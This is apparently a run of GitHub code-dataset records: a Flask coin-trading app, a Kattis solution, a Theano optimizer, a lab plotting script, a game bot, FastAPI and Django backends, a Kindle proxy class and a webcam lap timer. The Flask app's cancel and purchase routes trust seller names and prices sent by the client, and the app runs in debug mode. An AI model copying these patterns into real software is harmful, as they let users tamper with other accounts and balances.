int(request.form['withdraw_amount'])\n\n # 출금 가능한 잔액보다 큰 금액을 출금하려고 하면 출금되지 않음\n if withdraw_amount > balance:\n flash(\"출금 가능한 잔액보다 큰 금액을 출금할 수 없습니다!\")\n else:\n updated_balance = balance - withdraw_amount\n users_collection.update_one({'username': session['username']}, {'$set': {'balance': updated_balance}})\n flash(\"출금이 완료되었습니다!\")\n return redirect(url_for('account'))\n\n@app.route('/buy_market', methods=['POST']) #마켓에서 코인 구매\ndef buy_market():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n balance = user.get('balance', 0)\n coin = user.get('coin', 0)\n buy_market = request.form['buy_market']\n market_coin = int(market_collection.find_one()['market_coin'])\n if not buy_market.isdigit():\n flash(\"구매할 개수는 숫자로 입력해주세요.\")\n return redirect(url_for('account'))\n buy_market = int(buy_market)\n\n # 마켓이 보유한 것보다 많은 코인을 구매하려고 하면 구매가 불가능함\n if buy_market > market_coin:\n flash(\"마켓이 보유한 것보다 많은 개수를 구매할 수 없습니다!\")\n else:\n if balance < buy_market * 100: # 사고자 하는 개수에 비해서 가진 금액이 부족할 경우\n flash(\"보유한 금액이 부족하여 구매할 수 없습니다!\")\n return redirect(url_for('account'))\n else:\n updated_market_coin = market_coin - buy_market\n updated_balance = balance - buy_market * 100\n updated_coin = coin + buy_market\n market_collection.update_one({}, {'$set': {'market_coin': updated_market_coin}})\n users_collection.update_one({'username': session['username']}, {'$set': {'balance': updated_balance}})\n users_collection.update_one({'username': session['username']}, {'$set': {'coin': updated_coin}})\n\n # 가격 정보를 coin_recent_price 컬렉션에 저장\n timestamp = datetime.now() # 현재 타임스탬프 가져오기\n # 구매한 코인의 가격과 타임스탬프를 coin_recent_price 컬렉션에 저장\n coin_recent_price_collection.insert_one({'coin_price': 100, 'timestamp': timestamp})\n flash(\"코인 구매가 완료되었습니다.\")\n return redirect(url_for('account'))\n\n return redirect(url_for('account'))\n\n@app.route('/board', methods=['GET', 'POST'])\ndef board():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n username = user.get('username')\n balance = int(user.get('balance', 0))\n coin = int(user.get('coin', 0))\n selling_coin = int(user.get('selling_coin', 0))\n coin_prices = coin_recent_price_collection.find({}, {'_id': 0, 'timestamp': 1, 'coin_price': 1}).sort('timestamp', 1)\n data = [['Timestamp', 'Price']]\n for price in coin_prices:\n data.append([price['timestamp'].isoformat(), price['coin_price']])\n # Calculate the total number of coins being sold by the user\n sell_list = board_collection.find({'username': username})\n sell_list = board_collection.find() # 판매 게시글 모두 가져오기\n\n return render_template('board.html', username=username, balance=balance, coin=coin, selling_coin=selling_coin,\n sell_list=sell_list, coin_prices = data)\n else:\n return redirect(url_for('login'))\n\n\n\n\n@app.route('/user_sell', methods=['GET', 'POST'])\ndef user_sell():\n if 'username' in session:\n if request.method == 'POST':\n sell_amount = request.form['sell_amount']\n sell_price = request.form['sell_price']\n username = session['username']\n user = users_collection.find_one({'username': username})\n coin = user.get('coin', 0)\n selling_coin = int(user.get('selling_coin', 0))\n\n if sell_amount.isdigit() and sell_price.isdigit():\n sell_amount = int(sell_amount)\n sell_price = int(sell_price)\n\n if sell_amount < 0 or sell_price < 0:\n flash(\"판매 개수와 금액은 1 이상의 자연수만 입력 가능합니다!\")\n elif sell_amount > coin:\n flash(\"보유하고 있는 코인의 개수보다 많이 판매할 수 없습니다!\")\n else:\n board_collection.insert_one({\n 'username': username,\n 'sell_amount': sell_amount,\n 'sell_price': sell_price\n })\n\n updated_coin = coin - sell_amount\n updated_selling_coin = selling_coin + sell_amount\n users_collection.update_one({'username': username}, {'$set': {'coin': updated_coin}})\n users_collection.update_one({'username': username}, {'$set': {'selling_coin': updated_selling_coin}})\n flash(\"판매 게시글이 등록되었습니다.\")\n return redirect(url_for('board'))\n else:\n flash(\"판매 개수와 금액을 숫자로 입력해주세요.\")\n\n sell_list = board_collection.find()\n return render_template('board.html', sell_list=sell_list)\n else:\n return redirect(url_for('login'))\n\n@app.route('/user_sell_cancel', methods=['POST'])\ndef user_sell_cancel():\n if 'username' in session:\n sell_amount = int(request.form['sell_amount'])\n sell_price = int(request.form['sell_price'])\n seller_username = request.form['seller_username']\n \n \n # Delete the sell post from the board collection\n board_collection.delete_one({\n 'username': seller_username,\n 'sell_amount': sell_amount,\n 'sell_price': sell_price\n })\n \n # Update the user's coin balance by adding the canceled sell amount\n users_collection.update_one({'username': seller_username},{'$inc': {'coin': sell_amount}})\n users_collection.update_one({'username': seller_username},{'$inc': {'selling_coin': -sell_amount}})\n\n flash(\"판매 게시글이 취소되었습니다.\")\n return redirect(url_for('board'))\n else:\n return redirect(url_for('login'))\n\n@app.route('/user_purchase', methods=['POST']) # 유저로부터 코인 구매\ndef user_purchase():\n if 'username' in session:\n user = users_collection.find_one({'username': session['username']})\n balance = user.get('balance', 0)\n coin = user.get('coin', 0)\n purchase_amount = request.form['purchase_amount']\n purchase_price = request.form['purchase_price']\n seller_username = request.form['seller_username']\n\n purchase_amount = int(purchase_amount)\n purchase_price = int(purchase_price)\n\n if purchase_amount * purchase_price > balance:\n flash(\"보유한 금액이 부족하여 구매할 수 없습니다!\")\n return redirect(url_for('board'))\n\n seller = users_collection.find_one({'username': seller_username})\n seller_coin = seller.get('coin', 0)\n seller_sellingcoin = seller.get('selling_coin',0)\n seller_balance = seller.get('balance', 0)\n\n updated_balance = balance - purchase_amount * purchase_price\n updated_coin = coin + purchase_amount\n updated_seller_balance = seller_balance + purchase_amount * purchase_price\n updated_seller_sellingcoin = seller_sellingcoin - purchase_amount\n\n users_collection.update_one({'username': session['username']}, {'$set': {'balance': updated_balance}})\n users_collection.update_one({'username': session['username']}, {'$set': {'coin': updated_coin}})\n users_collection.update_one({'username': seller_username}, {'$set': {'balance': updated_seller_balance}})\n users_collection.update_one({'username': seller_username}, {'$set': {'selling_coin': updated_seller_sellingcoin}})\n\n \n\n board_collection.delete_one({'username': seller_username, 'sell_amount': purchase_amount, 'sell_price': purchase_price})\n timestamp = datetime.now() # 현재 타임스탬프 가져오기\n # 구매한 코인의 가격과 타임스탬프를 coin_recent_price 컬렉션에 저장\n coin_recent_price_collection.insert_one({'coin_price': purchase_price, 'timestamp': timestamp})\n\n flash(\"코인 구매가 완료되었습니다.\")\n\n return redirect(url_for('board'))\n else:\n return redirect(url_for('login'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"L22jaehyun/software_engineering","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":14427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8053056812","text":"import sys\r\n\r\ndef izpisi(mreza, letnica):\r\n razmik = 2 if letnica < 10 else 3 \r\n for vrstica in mreza:\r\n vrsticniNiz = \"\"\r\n for znak in vrstica:\r\n if znak == 0:\r\n vrsticniNiz += \".\" * razmik\r\n elif znak < 10:\r\n vrsticniNiz += \".\"*(razmik-1) + str(znak)\r\n else:\r\n vrsticniNiz += \".\" + str(znak)\r\n print(vrsticniNiz)\r\n\r\ndef Ustreznost(mreza, i, j, letnica):\r\n d = [letnica-1, letnica] \r\n if mreza[i][j-1] in d and mreza[i][j+1] in d and mreza[i-1][j] in d and mreza[i+1][j] in d:\r\n return True #ce so bili vsi ustrezni, je vrednost resnicna\r\n return False #sicer nesersnicna\r\n\r\ndef narediLetnice(n, m, mreza):\r\n kolikoSpremembJeBilo = 0\r\n for letnica in range(2, 51): #bomo jo potem breaknili predcasno, ce bo mozno\r\n for i in range(0, n): # [0, n) ker zacnemo pri 0\r\n for j in range(0, m): #gledamo vrsticne nize\r\n # i, j sta indeks vrstice, indeks stolpca\r\n if mreza[i][j] == 0 or i in [0, n-1] or j in [0, m-1]:\r\n continue\r\n if Ustreznost(mreza, i, j, letnica):\r\n mreza[i][j] = letnica\r\n kolikoSpremembJeBilo += 1\r\n if kolikoSpremembJeBilo == 0:\r\n break #nimamo vec kaj za narediti, lahko vrnemo podatke\r\n else:\r\n kolikoSpremembJeBilo = 0 #ocitno se nismo koncali s urejanjem letnic\r\n return mreza, letnica # vrne se maksimalno letnico\r\n \r\ndef v_par(niz):\r\n seznam = [int(stevilo) for stevilo in niz.split(\" \")]\r\n return seznam[0], seznam[1] \r\n \r\nvrstice = [vrstica.strip() for vrstica in sys.stdin] # da nimamo \\n znakov na koncu vsake\r\nn, m = v_par(vrstice[0]) \r\nmreza = [] #tukaj bomo dodajali vrstice\r\nfor niz in vrstice[1:]:\r\n vrstica = [] \r\n for znak in niz: #gledamo vrstične nize\r\n if znak == \".\": vrstica.append(0)\r\n elif znak == \"T\": vrstica.append(1) \r\n mreza.append(vrstica)\r\n \r\nurejenaMreza, letnica = narediLetnice(n, m, mreza)\r\nizpisi(urejenaMreza, letnica)\r\n","repo_name":"KatjaB7/Kattis","sub_path":"Rings2/rings2.py","file_name":"rings2.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16052530577","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom collections import OrderedDict\nimport inspect\nimport numpy as np\nimport theano\nfrom theano import tensor as T\nfrom deepy.trainers.optimize import logging\nfrom deepy.core.env import FLOATX\n\n\ndef ada_family_core(params, gparams, learning_rate = 0.01, eps= 1e-6, rho=0.95, method=\"ADADELTA\",\n beta=0.0, gsum_regularization = 0.0001):\n \"\"\"\n Optimize by SGD, AdaGrad, or AdaDelta.\n \"\"\"\n\n _, _, _, args = inspect.getargvalues(inspect.currentframe())\n logging.info(\"ada_family_core: %s\" % str(args.items()))\n free_parameters = []\n\n if method == \"FINETUNING_ADAGRAD\":\n method = \"ADAGRAD\"\n gsum_regularization = 0\n\n oneMinusBeta = 1 - beta\n\n gsums = [theano.shared(np.zeros_like(param.get_value(borrow=True), dtype=FLOATX), name=\"gsum_%s\" % param.name) if (method == 'ADADELTA' or method == 'ADAGRAD') else None for param in params]\n xsums = [theano.shared(np.zeros_like(param.get_value(borrow=True), dtype=FLOATX), name=\"xsum_%s\" % param.name) if method == 'ADADELTA' else None for param in params]\n\n # Fix for AdaGrad, init gsum to 1\n if method == 'ADAGRAD':\n for gsum in gsums:\n gsum.set_value(gsum.get_value() ** 0)\n\n updates = OrderedDict()\n # Updates\n for gparam, param, gsum, xsum in zip(gparams, params, gsums, xsums):\n\n if method == 'ADADELTA':\n updates[gsum] = rho * gsum + (1. - rho) * (gparam **2)\n dparam = -T.sqrt((xsum + eps) / (updates[gsum] + eps)) * gparam\n updates[xsum] =rho * xsum + (1. - rho) * (dparam **2)\n updates[param] = param * oneMinusBeta + dparam\n elif method == 'ADAGRAD':\n updates[gsum] = gsum + (gparam **2) - gsum_regularization * gsum\n updates[param] = param * oneMinusBeta - learning_rate * (gparam / (T.sqrt(updates[gsum] + eps)))\n\n else:\n updates[param] = param * oneMinusBeta - gparam * learning_rate\n # Add free parameters\n if method == 'ADADELTA':\n free_parameters.extend(gsums + xsums)\n elif method == 'ADAGRAD':\n free_parameters.extend(gsums)\n # Check dtype\n for k in updates:\n if updates[k].dtype != FLOATX:\n updates[k] = updates[k].astype(FLOATX)\n return updates.items(), free_parameters\n","repo_name":"zomux/deepy","sub_path":"deepy/trainers/cores/ada_family.py","file_name":"ada_family.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":424,"dataset":"github-code","pt":"5"} +{"seq_id":"1976435672","text":"#! /usr/bin/python2.7\n# -*- coding: utf-8 -*-\n\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sys import exit\n\nimport errorvalues as ev # github.com/stefantkeller/errorvalues\n\nfrom VECSELsetup.eval.varycolor import varycolor\nfrom VECSELsetup.eval.gen_functions import load, sanitize, split2dict, find_random_duplicates\n\n'''\nPlot the heat sink temperature present during the measurements.\nFor each set temperature the plot assignes one row of subplots.\nEach row shows two plots:\nLeft is the measured temperature versus time (in units of measurement sample).\nRight displays the temperature versus pump current; of which there are multiple repetitions.\n'''\n\n\ndef main():\n logfile = '20150124_detailed/spot333um_noOC.csv'\n \n \n current_set = {}\n ths_chrono = {}\n ths_current = {}\n ths_current_err = {}\n \n with open(logfile,'rb') as lf:\n rootpath = '/'.join(logfile.split('/')[:-1])\n header = lf.readline() # read and thus skip header\n \n hdict = split2dict(header, ';','=')\n columns = hdict['columns'].split(',')\n cid = dict( zip(columns,range(len(columns))) ) # easily accessible dict with instructions of what the columns refer to\n \n pwr_folder = sanitize(hdict['pwr_folder'])\n pwr_root = rootpath+'/'+pwr_folder+'/'\n \n r = csv.reader(lf,delimiter=',')\n for row in r:\n if row[0].startswith('#'): continue # a commented entry => skip\n \n T = float(row[cid['Temp_set']])\n \n tf = pwr_root+row[cid['Temp_live']]\n tcurr, ths = load(tf)\n tcurr, ths_chrono[T] = map(float,tcurr), map(float,ths) # in chronological order\n \n ordered = find_random_duplicates(tcurr)\n current_set[T] = np.array(sorted(ordered.keys()))\n \n index_list = np.array([ordered[c] for c in current_set[T]]).transpose() # look up table with indices corresponding to same set current, in ascending order!\n LUT = lambda x, indices: np.array([[x[i] for i in duplicate] for duplicate in indices])\n \n ths_current[T] = LUT(ths_chrono[T],index_list)\n ths_current_err[T] = ev.stderrvallist(ths_current[T])\n \n #return current_set, ths_chrono, ths_current\n \n T_set = sorted(current_set.keys())\n N = len(T_set)\n \n cnt = 1\n \n for T in T_set:\n\n # chnonological temp\n plt.subplot(N,2,cnt)\n plt.plot(ths_chrono[T],c='k',marker='.',linestyle=' ')\n plt.axhline(y=np.mean(ths_chrono[T]),c='k')\n plt.xlim([0,len(ths_chrono[T])])\n plt.ylabel('Heat sink ($^\\circ$C)')\n if cnt==N*2-1:\n plt.xlabel('Time')\n \n\n # by current\n plt.subplot(N,2,cnt+1)\n plt.plot(current_set[T], ths_current[T].transpose(),c='k',marker='.',linestyle=' ')\n plt.axhline(y=np.mean(ths_chrono[T]),c='k')\n #plt.errorbar(current_set[T], ths_current_err[T].v(),\n # yerr=ths_current_err[T].e(), c='r', linestyle=' ')\n #plt.axhline(y=ev.wmean(ths_current_err[T]).v(),c='r')\n \n plt.xlim([0,np.max(current_set[T])])\n if cnt==N*2-1:\n plt.xlabel('Current set (A)')\n cnt += 2\n \n plt.show()\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"stefantkeller/VECSELsetup","sub_path":"exp/eval/temperature_heatsink.py","file_name":"temperature_heatsink.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26133752023","text":"from PIL import ImageGrab, ImageOps\r\nimport pyautogui\r\nimport time\r\nfrom numpy import *\r\n\r\n\r\nclass Cordinates():\r\n dinoLimity = (250,432)#Coordenada Limite do Dino 192,421\r\n #x= 100 y=415\r\n\r\n\r\ndef restartGame():\r\n pyautogui.click(479, 410)\r\n pyautogui.keyDown('down')\r\n time.sleep(0.05)\r\n\r\n \r\ndef pressSpace():\r\n pyautogui.keyUp('down')\r\n pyautogui.keyDown('space')\r\n time.sleep(0.13)\r\n pyautogui.keyUp('space')\r\n #time.sleep(0.08)\r\n pyautogui.keyDown('down')\r\n\r\ndef imageGrab():\r\n box = (Cordinates.dinoLimity[0]+60,Cordinates.dinoLimity[1], Cordinates.dinoLimity[0]+100,Cordinates.dinoLimity[1]+5)\r\n image = ImageGrab.grab(box)\r\n grayImage = ImageOps.grayscale(image)\r\n a = array(grayImage.getcolors())\r\n print(a.sum())\r\n return a.sum()\r\n\r\ndef main():\r\n\r\n restartGame()\r\n while True:\r\n if(imageGrab()!= 447):\r\n pressSpace()\r\n #time.sleep(0.1)\r\nmain()\r\n","repo_name":"1hubert/learning-python","sub_path":"#pyautogui/dinosaur-game-bot.py","file_name":"dinosaur-game-bot.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19743850798","text":"# server/app/api/forum.py\n\nfrom fastapi import APIRouter, HTTPException, Security\nfrom typing import List\n\nfrom app.models.pydantic import Post_Pydantic, PostCommentAll, PostComment_Pydantic, PostCommentIn, PostCommentUpdate, UserIn, PostIn, UserAuth\nfrom app.api import crud\nfrom app.authentication import get_current_user\n\n\nrouter = APIRouter()\n\n\n@router.post('/', response_model=Post_Pydantic, status_code=201)\nasync def create_post(payload: PostIn, active_user: UserAuth = Security(get_current_user)):\n post = await crud.create_post(payload, active_user)\n return post\n\n@router.get('/all', response_model=List[dict])\nasync def get_all_post() -> List[dict]:\n return await crud.get_all_post()\n\n@router.get('/{id}/', response_model=Post_Pydantic, status_code=200)\nasync def get_one_post(id: int) -> Post_Pydantic:\n post = await crud.get_post_by_id(id)\n del post[\"updated_at\"]\n del post[\"created_at\"]\n del post[\"user_id\"]\n return Post_Pydantic(**post)\n\n@router.delete('/{id}/', response_model=Post_Pydantic)\nasync def delete_post(id: int, active_user: UserAuth = Security(get_current_user)):\n post = await crud.get_post_by_id(id)\n if not post:\n raise HTTPException(status_code=404, detail=\"Post not found or belong to current user\")\n \n deleted_post = await crud.delete_post_by_id(id, active_user)\n if not deleted_post:\n raise HTTPException(status_code=401, detail=\"User not authorized to delete this\")\n \n del post[\"updated_at\"]\n del post[\"created_at\"]\n del post[\"user_id\"]\n return Post_Pydantic(**post)\n\n@router.put('/{id}/', response_model=Post_Pydantic)\nasync def update_post(id: int, payload: PostIn, active_user: UserAuth = Security(get_current_user)):\n post = await crud.get_post_by_id(id)\n if not post:\n raise HTTPException(status_code=404, detail=\"Post not found or belong to current user\")\n \n updated_post = await crud.update_post_by_id(id, payload, active_user)\n if not updated_post:\n raise HTTPException(status_code=404, detail=\"Post not found or user not authorized to update\")\n return updated_post\n\n\n@router.post('/comment/', response_model=PostComment_Pydantic, status_code=201)\nasync def create_comment(payload: PostCommentIn, active_user: UserAuth = Security(get_current_user)):\n post_comment = await crud.create_comment(payload, active_user)\n return post_comment\n\n@router.get('/{id}/comments/', response_model=List[PostCommentAll])\nasync def get_all_comments_from_post(id: int) -> List[PostCommentAll]:\n return await crud.get_all_comment(id)\n\n@router.put('/{post_id}/comment/{comment_id}/')\nasync def update_comment(post_id: int, comment_id: int, payload: PostCommentUpdate, active_user: UserAuth = Security(get_current_user)):\n comment = await crud.get_one_comment(comment_id)\n if not comment:\n raise HTTPException(status_code=404, detail=\"Comment does not exist\")\n \n updated_comment = await crud.update_comment_by_id(comment_id, payload, active_user)\n if not updated_comment:\n raise HTTPException(status_code=404, detail=\"Comment not found or user not authorized to update\")\n \n response = {\n \"message\": \"Comment has been updated\"\n }\n return response\n\n@router.delete('/{post_id}/comment/{comment_id}')\nasync def delete_post(post_id: int, comment_id: int, active_user: UserAuth = Security(get_current_user)):\n comment = await crud.get_one_comment(comment_id)\n if not comment:\n raise HTTPException(status_code=404, detail=\"Comment not found or belong to current user\")\n \n deleted_comment = await crud.delete_comment_by_id(comment_id, active_user)\n if not deleted_comment:\n raise HTTPException(status_code=401, detail=\"User not authorized to delete this\")\n \n post = await crud.get_post_by_id(comment[\"post_id\"])\n user = await crud.get_user_by_id(comment[\"user_id\"])\n comment_id = comment[\"id\"]\n \n comment.update(post_id=post[\"id\"], comment_id=comment_id, username=user[\"username\"])\n del comment[\"id\"]\n del comment[\"updated_at\"]\n del comment[\"created_at\"]\n return comment","repo_name":"S1mS1ngh/bearcat-circle","sub_path":"backend/chat-service/server/app/api/forum.py","file_name":"forum.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"44505822464","text":"import logging, pickle\nfrom uuid import uuid4\n\nimport devices.certificate as cert\n\n_PKCS12_FAILED = 'FAILED'\n\nclass Device:\n\t\"\"\"\n\tkeeps a device's serial, last known ip and cookie it connected with\n\t\"\"\"\n\n\tdef __init__(self, serial = None, alias = None, fiona_id = None, kind = None, lto = -1, last_ip = None, last_cookie = None, p12 = None, books = None):\n\t\tself.serial = serial or str(uuid4())\n\t\tself.alias = alias or None\n\t\tself.fiona_id = fiona_id or None\n\t\tself.last_ip = last_ip\n\t\tself.last_cookie = last_cookie\n\t\tself.kind = kind\n\t\tself.lto = lto\n\t\tself.p12 = p12 or None\n\t\tself.books = {} if not books else pickle.loads(books)\n\n\t\t# the certificate is re-loaded each time the proxy is restarted\n\t\tself.context = None\n\t\tself.connections = {}\n\n\t\t# won't be saving the last_sync time to the db\n\t\t# so that each time the proxy is restarted, a full sync takes place for each device\n\t\tself.last_sync = 0\n\n\t\t# devices connecting for the first time after KSP boots up will:\n\t\t#\t- update their configuration with our server urls\n\t\t#\t- do a snapshot upload, so we can get up-to-date with the list of books on the device\n\t\tself.actions_queue = [ 'SET_SCFG', 'UPLOAD_SNAP' ]\n\t\tif self.is_kindle(): # for debugging purposes\n\t\t\tself.actions_queue.append('UPLOAD_SCFG')\n\t\t# if self.alias is None:\n\t\t# \tself.actions_queue.append('GET_NAMS')\n\n\t\tlogging.debug(\"new device %s\", self)\n\n\tdef load_context(self, new_serial = None):\n\t\tif new_serial is None and self.context_failed():\n\t\t\tlogging.warn(\"no SSL context available for %s, PKCS12 failed\", self)\n\t\t\treturn False\n\t\tserial = new_serial or self.serial\n\t\tself.p12 = cert.load_p12bytes(serial) or self.p12\n\t\tself.context = cert.make_context(serial, self.p12) or _PKCS12_FAILED\n\t\tif self.context_failed():\n\t\t\t# so we don't try this more than once\n\t\t\tlogging.warn(\"%s context failed\", self)\n\t\t\treturn False\n\t\treturn True\n\n\tdef ssl_context(self, host):\n\t\tif host.endswith('-ta-g7g.amazon.com'):\n\t\t\treturn cert.DEFAULT_CONTEXT\n\t\tif host.endswith('-g7g.amazon.com'): # client certificate required\n\t\t\tif self.is_provisional():\n\t\t\t\t# logging.warn(\"%s: no SSL context available for %s\", host, self)\n\t\t\t\traise Exception(\"no SSL context available\", host, str(self))\n\t\t\tif not self.context:\n\t\t\t\tif not self.load_context():\n\t\t\t\t\traise Exception(\"failed to create SSL context\", str(self))\n\t\t\treturn self.context\n\t\treturn cert.DEFAULT_CONTEXT\n\n\tdef is_provisional(self): # do we know the device serial yet?\n\t\treturn (len(self.serial) == 36\n\t\t\t\tor (len(self.serial) == 16\n\t\t\t\t\tand self.serial.startswith('B0')\n\t\t\t\t\tand (self.kind is None or self.kind.startswith('kindle'))\n\t\t\t\t\tand not self.p12\n\t\t\t\t\t)\n\t\t\t\t)\n\n\tdef is_kindle(self):\n\t\treturn self.kind and self.kind.startswith('kindle')\n\n\tdef supports_pdoc(self):\n\t\treturn self.kind and not self.kind.startswith('desktop')\n\n\tdef context_failed(self):\n\t\treturn id(self.context) == id(_PKCS12_FAILED)\n\n\tdef __str__(self):\n\t\tif self.is_provisional():\n\t\t\treturn \"{%s/provisional %s ip=%s cookie=%s}\" % (\n\t\t\t\t\t\tself.serial, self.kind, self.last_ip, None if not self.last_cookie else self.last_cookie[:12]\n\t\t\t\t\t)\n\n\t\treturn \"{%s [%s] %s ip=%s cookie=%s%s, sync=%s with %d books}\" % (\n\t\t\t\t\tself.serial, self.alias, self.kind, self.last_ip,\n\t\t\t\t\tNone if not self.last_cookie else self.last_cookie[:12],\n\t\t\t\t\t' no PKCS12' if self.context_failed() else '',\n\t\t\t\t\tself.last_sync, len(self.books),\n\t\t\t\t)\n","repo_name":"pwr/KSP","sub_path":"src/devices/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"5"} +{"seq_id":"37163187710","text":"from django.contrib import admin\nfrom .models import Author, Post\n\n\n\nclass AuthorAdmin(admin.ModelAdmin):\n '''Список авторов'''\n # общее отображение\n list_display = ['name', 'date_birthday']\n # сортировка\n ordering = ['name']\n # добовляет с права филтр\n list_filter = ['date_birthday']\n # добоавляет поля для поиска\n search_fields = ['biography']\n # подсказка под полем ввода\n search_help_text = 'Поиск по полю Описание продукта (biography)'\n # подключает функции\n\n # отображение полей непросредственно в продукте\n # fields = ['name', 'description', 'category', 'date_added', 'rating']\n # поля только для чтение\n readonly_fields = ['biography', 'date_birthday']\n # поле взаимоискючающиеся fields and fieldsets\n fieldsets = [\n (None, {'classes': ['wide'], 'fields':['name']}),\n ('Подробности', {'classes': ['collapse'], 'description': 'Автор и его подробности', 'fields': [\n 'biography', 'email', 'second_name']}),\n ]\n\nclass PostAdmin(admin.ModelAdmin):\n '''Список постов'''\n # общее отображение\n list_display = ['title', 'category', 'count_views']\n # сортировка\n ordering = ['title', 'category', 'count_views', 'time']\n # добовляет с права филтр\n list_filter = ['category', 'count_views','time', 'active']\n # добоавляет поля для поиска \n search_fields = ['content']\n # подсказка под полем ввода\n search_help_text = 'Поиск по полю Описание продукта (content)'\n # подключает функции\n\n # отображение полей непросредственно в продукте\n # fields = ['name', 'description', 'category', 'date_added', 'rating']\n # поля только для чтение\n readonly_fields = ['content', 'time', 'count_views']\n # поле взаимоискючающиеся fields and fieldsets\n fieldsets = [\n (None, {'classes': ['wide'], 'fields':['title']}),\n ('Подробности', {'classes': ['collapse'], 'description': 'Пост и его содержание', 'fields': [\n 'content', 'time']}),\n ('Автор', {'fields': ['author']}),\n ('Популярность', {'description': 'Категория и просмотры', 'fields': ['category', 'count_views']})\n ]\n\n\n\n\n\n\nadmin.site.register(Author, AuthorAdmin)\nadmin.site.register(Post, PostAdmin)","repo_name":"Keni13-coder/Training_Gjango","sub_path":"lessons/lesson_2/mydjango/less3app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18659315329","text":"import cv2\nimport numpy as np\nimport threading\nimport time\n\n#Klasse fü Hntergrund arbeiten\nclass Background():\n\n\n\n #Timer\n def start_timer():\n current_milli_time = int(round(time.time() * 1000))\n return current_milli_time\n\n def result_timer(start_time):\n current_milli_time = int(round(time.time() * 1000))\n final_time= current_milli_time-start_time\n return final_time\n\n \n\n #Kamera\n def camera_initialize():\n cap = cv2.VideoCapture(0)\n return cap\n\n def live_view(cap):\n while True:\n try:\n c = cv2.waitKey(1)\n ret, frame = cap.read()\n frame = cv2.resize(frame, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA) \n cv2.imshow('Input', frame)\n #widt_webcam = cap.get(3) #Width\n #height_webcam = cap.get(4) #Height\n #frame_rate = cap.get(5) #FPS\n #print(frame_rate,widt_webcam) \n if c == 27:\n cv2.destroyAllWindows()\n return cap\n break\n except:\n print(\"Kamera macht Probleme\")\n cv2.destroyAllWindows()\n break\n cv2.destroyAllWindows()\n\n def start_round(cap, RundenZeit, Schwelle, flag_dauerlauf):\n #Kamera etwas durchlauf geben\n i=0\n while i<30:\n ret, frame = cap.read()\n i+=1\n\n Flag = True\n value = 0\n Runde =0 \n value_alt = 0\n Start_flag=False\n\n while Flag==True:\n if(Start_flag==False):\n while i<30:\n ret, frame = cap.read()\n i+=1\n Start_flag==True\n #Kamera jetzt Bildauswerten lassen\n ret, frame = cap.read()\n frame = cv2.resize(frame, None, fx=0.2, fy=0.2, interpolation=cv2.INTER_AREA) \n #Rot extrahieren\n #BGR->HSV\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_red = np.array([0,50,50])\n upper_red = np.array([40,255,255])\n\n # Threshold the HSV image to get only blue colors\n mask = cv2.inRange(hsv, lower_red, upper_red) \n # Bitwise-AND mask and original image\n res = cv2.bitwise_and(frame,frame, mask= mask)\n\n #Einzelne Bilder anzeigen\n #cv2.imshow('frame',frame)\n #cv2.waitKey(0)\n #cv2.imshow('mask',mask) #Entscheidend\n #cv2.imshow('res',res)\n #cv2.waitKey(0)\n value= np.sum(mask)\n v1 = value-value_alt\n v2 = value_alt-value\n if(v1>v2):\n vges=v2\n else:\n vges=v1\n if(vges/1000>Schwelle and Runde == 0):\n Start_Zeit = Background.start_timer()\n Runde+=1\n print(\"Start!\")\n time.sleep((RundenZeit/2)-5) \n while i<5:\n ret, frame = cap.read()\n i+=1\n value=0\n value_alt=0\n elif(vges/1000>Schwelle and Runde == 1):\n Zwischen_Zeit = Background.result_timer(Start_Zeit)\n Runde+=1\n print(\"...Zwischenzeit: \"+str(Zwischen_Zeit/1000))\n time.sleep((RundenZeit/2)-5)\n while i<5:\n ret, frame = cap.read()\n i+=1\n value=0\n value_alt=0\n elif(vges/1000>Schwelle and Runde == 2):\n End_Zeit = Background.result_timer(Start_Zeit) \n \n #Return Werte [Kamera Handle, Zwischenzeit, Finale Zeit] Wenn flag_dauerlauf gesetzt ist\n if(flag_dauerlauf==False):\n Fehler = int(input(\"Anzahl der Fehler (Nicht Straf Sekunden, Tor-Fehler = 5)\"))\n print(\"Finale Zeit mit Fehler: \"+str(End_Zeit+Fehler*2))\n back = [cap, Zwischen_Zeit, End_Zeit]\n return back\n else:\n Fehler = int(input(\"Anzahl der Fehler (Nicht Straf Sekunden, Tor-Fehler = 5, Dauer Modus Beenden = 99)\"))\n if(Fehler==99):\n back = [cap, Zwischen_Zeit, End_Zeit]\n return back\n print(\"Finale Zeit mit Fehler: \"+str(End_Zeit/1000+Fehler*2))\n Runde =0\n time.sleep(5) \n while i<5:\n ret, frame = cap.read()\n i+=1\n value=0\n value_alt=0\n \n #Schwelle Anzeigen lassen\n #print(vges/1000)\n value_alt =value\n \n \n ","repo_name":"Mirko1998/KartPojektV2","sub_path":"KartPojektV2/Background.py","file_name":"Background.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} 